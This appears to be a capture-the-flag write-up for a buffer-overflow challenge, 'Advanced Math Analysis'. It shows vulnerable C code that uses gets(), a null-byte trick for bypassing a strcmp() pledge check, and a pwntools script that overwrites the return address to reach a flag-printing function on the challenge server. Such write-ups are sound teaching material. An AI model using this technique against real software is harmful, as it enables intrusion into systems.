Advanced Math Analysis
Buffer overflow, with a strcmp() check.

Problem

The advanced course covers the same content as the non-advanced course and then some. Specifically, it also teaches some units on logic and geometry.
Now, I'm personally not the biggest fan of geometry, so I'll spare you from that. But you'll definitely need to spend some time _logic_ing this challenge out!

Solution

This is the same challenge as before, except there is a strcmp() check.
1
char response[50];
2
​
3
setbuf(stdout, NULL);
4
setbuf(stdin, NULL);
5
setbuf(stderr, NULL);
6
​
7
...
8
​
9
gets(response);
10
​
11
if (strcmp(response, "i pledge to not cheat")) {
12
puts("I'm sorry, but you did not type out the honor pledge.");
13
puts("This obviously means that you are a cheater.");
14
puts("And we certainly cannot have that.");
15
puts("Goodbye.");
16
exit(1);
17
}
Copied!
Win function:
1
void cheat() {
2
FILE *fp = fopen("flag.txt", "r");
3
char flag[100];
4
​
5
if (fp == NULL) {
6
puts("My bad, I can't find the answers.");
7
puts("Oh wait, that's a foodable offense!");
8
puts("[If you are seeing this on the remote server, please contact admin].");
9
exit(1);
10
}
11
​
12
fgets(flag, sizeof(flag), fp);
13
puts(flag);
14
}
Copied!
Here, my tool wouldn't work due to the strcmp() check. strcmp() only returns 0 when both strings are equal, so it is checking that our input string is equal to "i pledge to not cheat".
The flaw in this is that strcmp() only compares up to the point where either
  1. 1.
    The strings differ, OR
  2. 2.
    A terminating null byte is reached.
In Linux, we can type a null byte using [email protected] This will bypass the strcmp() check.
Now, using our debugger, we can find the part of the pattern that overwrote the RIP.
The offset is 50. However, note that this means 50 characters after the null byte.
Using redare2, we find that the address of the cheat function is 0x00401216.
1
from pwn import *
2
​
3
ret = 0x00401216
4
offset = 50
5
payload = b"i pledge to not cheat"
6
payload += b"\x00"
7
payload += b"A" * offset
8
payload += p64(ret)
9
print(payload)
10
​
11
conn = remote('bin.bcactf.com', 49156)
12
​
13
print(conn.recv())
14
print(conn.recv())
15
​
16
print("\nSending payload...")
17
conn.send(payload + b"\n")
18
​
19
print(conn.recv())
20
print(conn.recv())
21
​
22
conn.close()
Copied!
Copy link